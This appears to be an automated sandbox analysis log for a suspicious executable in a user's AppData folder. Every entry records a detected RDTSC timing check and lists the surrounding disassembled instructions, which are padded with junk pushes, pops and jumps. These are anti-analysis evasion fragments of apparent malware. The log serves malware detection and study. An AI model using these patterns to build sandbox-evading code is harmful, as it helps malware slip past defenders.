Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 61C7A4 second address: 61C7AE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007F95FD7D8996h 0x0000000a rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 61C7AE second address: 61C7CA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F95FD07A066h 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 61B306 second address: 61B30A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 61B30A second address: 61B30E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 61B30E second address: 61B319 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ebx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 61B5C5 second address: 61B5F0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 push edi 0x00000007 pop edi 0x00000008 popad 0x00000009 jno 00007F95FD07A05Eh 0x0000000f jnp 00007F95FD07A058h 0x00000015 pushad 0x00000016 popad 0x00000017 popad 0x00000018 push eax 0x00000019 push edx 0x0000001a pushad 0x0000001b js 00007F95FD07A056h 0x00000021 push eax 0x00000022 push edx 0x00000023 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 61B5F0 second address: 61B5F7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 61B5F7 second address: 61B611 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F95FD07A066h 0x00000009 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 61B743 second address: 61B749 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 61B749 second address: 61B757 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 ja 00007F95FD07A058h 0x0000000c push edx 0x0000000d pop edx 0x0000000e rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 61B757 second address: 61B76F instructions: 0x00000000 rdtsc 0x00000002 jne 00007F95FD7D899Ch 0x00000008 jnc 00007F95FD7D8996h 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 jg 00007F95FD7D8996h 0x00000018 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 61BA79 second address: 61BA91 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F95FD07A064h 0x00000009 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 61BA91 second address: 61BA96 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 61C4B7 second address: 61C4BB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 6200D8 second address: 62011D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F95FD7D89A0h 0x00000008 pushad 0x00000009 popad 0x0000000a jmp 00007F95FD7D89A2h 0x0000000f popad 0x00000010 pop edx 0x00000011 pop eax 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 jmp 00007F95FD7D899Dh 0x0000001a jmp 00007F95FD7D899Ah 0x0000001f popad 0x00000020 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 62011D second address: 62012D instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push edi 0x00000004 pop edi 0x00000005 pop edi 0x00000006 jp 00007F95FD07A05Eh 0x0000000c push eax 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 622AFF second address: 622B03 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 6306F2 second address: 6306F8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 6306F8 second address: 630719 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F95FD7D89A7h 0x0000000f rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 630719 second address: 630721 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 push edx 0x00000007 pop edx 0x00000008 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 640AF7 second address: 640B01 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F95FD7D8996h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 64087A second address: 640880 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 640880 second address: 640891 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 pop eax 0x00000008 jne 00007F95FD7D89AAh 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 640891 second address: 64089C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push ecx 0x0000000a pop ecx 0x0000000b rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 65A5BA second address: 65A5CF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F95FD7D89A0h 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 65A5CF second address: 65A5EE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 jmp 00007F95FD07A060h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 65A5EE second address: 65A5F2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 65A5F2 second address: 65A614 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F95FD07A056h 0x00000008 jmp 00007F95FD07A068h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 65A614 second address: 65A619 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 6596E9 second address: 65970E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F95FD07A066h 0x00000009 jmp 00007F95FD07A05Bh 0x0000000e rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 65985C second address: 659860 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 659F06 second address: 659F0C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 65A1C9 second address: 65A1CF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 65A1CF second address: 65A1D3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 65A1D3 second address: 65A1E4 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F95FD7D8996h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b push ebx 0x0000000c pushad 0x0000000d push eax 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 65BC83 second address: 65BC8C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 65E524 second address: 65E52A instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 65E52A second address: 65E530 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 65E530 second address: 65E534 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 65E876 second address: 65E8AB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F95FD07A05Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007F95FD07A05Dh 0x0000000e popad 0x0000000f push eax 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F95FD07A065h 0x00000017 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 65E8AB second address: 65E8B6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jnp 00007F95FD7D8996h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 661A8B second address: 661A9A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jnp 00007F95FD07A056h 0x0000000f rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 6616A6 second address: 6616B3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jg 00007F95FD7D8996h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 4CF0EBF second address: 4CF0EF1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F95FD07A065h 0x00000009 xor ax, 50F6h 0x0000000e jmp 00007F95FD07A061h 0x00000013 popfd 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 4CF0EF1 second address: 4CF0F62 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 xchg eax, ebp 0x00000008 pushad 0x00000009 jmp 00007F95FD7D899Ah 0x0000000e movzx eax, di 0x00000011 popad 0x00000012 mov ebp, esp 0x00000014 pushad 0x00000015 jmp 00007F95FD7D89A3h 0x0000001a pushfd 0x0000001b jmp 00007F95FD7D89A8h 0x00000020 or eax, 155F03A8h 0x00000026 jmp 00007F95FD7D899Bh 0x0000002b popfd 0x0000002c popad 0x0000002d pop ebp 0x0000002e push eax 0x0000002f push edx 0x00000030 jmp 00007F95FD7D89A5h 0x00000035 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 4CF0F62 second address: 4CF0F68 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 4CF0F68 second address: 4CF0F6C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 4CF0F6C second address: 4CF0F70 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 4CE0C46 second address: 4CE0C4C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 4CE0C4C second address: 4CE0C8D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F95FD07A064h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a pushad 0x0000000b jmp 00007F95FD07A05Eh 0x00000010 mov ch, 1Ch 0x00000012 popad 0x00000013 push eax 0x00000014 push eax 0x00000015 push edx 0x00000016 jmp 00007F95FD07A063h 0x0000001b rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 4CE0C8D second address: 4CE0C93 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 4CE0C93 second address: 4CE0C97 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 4CE0C97 second address: 4CE0C9B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 4CE0C9B second address: 4CE0CC1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F95FD07A069h 0x00000012 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 4CE0CC1 second address: 4CE0CC7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 4CE0CC7 second address: 4CE0CCD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 4CE0CCD second address: 4CE0CD1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 4CE0CD1 second address: 4CE0D24 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebp, esp 0x0000000a pushad 0x0000000b mov cx, 7427h 0x0000000f mov dx, si 0x00000012 popad 0x00000013 pop ebp 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 mov bx, 3596h 0x0000001b pushfd 0x0000001c jmp 00007F95FD07A067h 0x00000021 and cx, 021Eh 0x00000026 jmp 00007F95FD07A069h 0x0000002b popfd 0x0000002c popad 0x0000002d rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 4CE0D24 second address: 4CE0D34 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F95FD7D899Ch 0x00000009 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 4D30014 second address: 4D3004B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F95FD07A05Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a jmp 00007F95FD07A066h 0x0000000f push eax 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F95FD07A05Eh 0x00000017 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 4D3004B second address: 4D30072 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F95FD7D899Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F95FD7D89A5h 0x00000011 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 4D30072 second address: 4D30082 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F95FD07A05Ch 0x00000009 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 4D30082 second address: 4D300B9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F95FD7D899Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov ebp, esp 0x0000000d pushad 0x0000000e call 00007F95FD7D89A4h 0x00000013 mov si, 1271h 0x00000017 pop esi 0x00000018 mov eax, edi 0x0000001a popad 0x0000001b pop ebp 0x0000001c push eax 0x0000001d push edx 0x0000001e push eax 0x0000001f push edx 0x00000020 pushad 0x00000021 popad 0x00000022 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 4D300B9 second address: 4D300CB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F95FD07A05Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 4D300CB second address: 4D300D1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 4CC0111 second address: 4CC0117 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 4CC0117 second address: 4CC011B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 4CC0199 second address: 4CC01AA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov eax, ebx 0x00000005 push edx 0x00000006 pop ecx 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop ebp 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 4CC01AA second address: 4CC01AE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 4CC01AE second address: 4CC01C4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F95FD07A062h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 4CE066B second address: 4CE067A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F95FD7D899Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 4CE067A second address: 4CE0704 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movsx edx, ax 0x00000006 mov eax, 5179AE57h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e xchg eax, ebp 0x0000000f jmp 00007F95FD07A05Ah 0x00000014 push eax 0x00000015 pushad 0x00000016 call 00007F95FD07A061h 0x0000001b pushad 0x0000001c popad 0x0000001d pop esi 0x0000001e jmp 00007F95FD07A067h 0x00000023 popad 0x00000024 xchg eax, ebp 0x00000025 jmp 00007F95FD07A066h 0x0000002a mov ebp, esp 0x0000002c jmp 00007F95FD07A060h 0x00000031 pop ebp 0x00000032 push eax 0x00000033 push edx 0x00000034 jmp 00007F95FD07A067h 0x00000039 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 4CE0704 second address: 4CE070A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 4CE070A second address: 4CE070E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 4CE05A6 second address: 4CE05AA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 4CE05AA second address: 4CE05C0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F95FD07A062h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 4CE05C0 second address: 4CE05D2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F95FD7D899Eh 0x00000009 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 4CE05D2 second address: 4CE05D6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 4CE02DF second address: 4CE02E4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 4CE02E4 second address: 4CE0305 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov bl, 5Eh 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F95FD07A065h 0x00000011 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 4CF01B9 second address: 4CF01DA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebp, esp 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F95FD7D89A5h 0x00000011 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 4D20F0B second address: 4D20F1D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F95FD07A05Eh 0x00000009 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 4D20F1D second address: 4D20F4B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebp, esp 0x0000000a pushad 0x0000000b pushfd 0x0000000c jmp 00007F95FD7D899Dh 0x00000011 jmp 00007F95FD7D899Bh 0x00000016 popfd 0x00000017 movzx eax, bx 0x0000001a popad 0x0000001b pop ebp 0x0000001c pushad 0x0000001d push edx 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 4D002CC second address: 4D00300 instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007F95FD07A069h 0x00000008 jmp 00007F95FD07A05Bh 0x0000000d popfd 0x0000000e pop edx 0x0000000f pop eax 0x00000010 mov ch, EFh 0x00000012 popad 0x00000013 xchg eax, ebp 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 4D00300 second address: 4D00304 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 4D00304 second address: 4D00320 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F95FD07A068h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 4D00320 second address: 4D003A7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov edx, 68DF5A94h 0x00000008 mov ecx, ebx 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d mov ebp, esp 0x0000000f pushad 0x00000010 pushfd 0x00000011 jmp 00007F95FD7D89A5h 0x00000016 or ch, 00000006h 0x00000019 jmp 00007F95FD7D89A1h 0x0000001e popfd 0x0000001f popad 0x00000020 mov eax, dword ptr [ebp+08h] 0x00000023 pushad 0x00000024 jmp 00007F95FD7D89A8h 0x00000029 jmp 00007F95FD7D89A2h 0x0000002e popad 0x0000002f and dword ptr [eax], 00000000h 0x00000032 push eax 0x00000033 push edx 0x00000034 jmp 00007F95FD7D89A7h 0x00000039 rdtsc
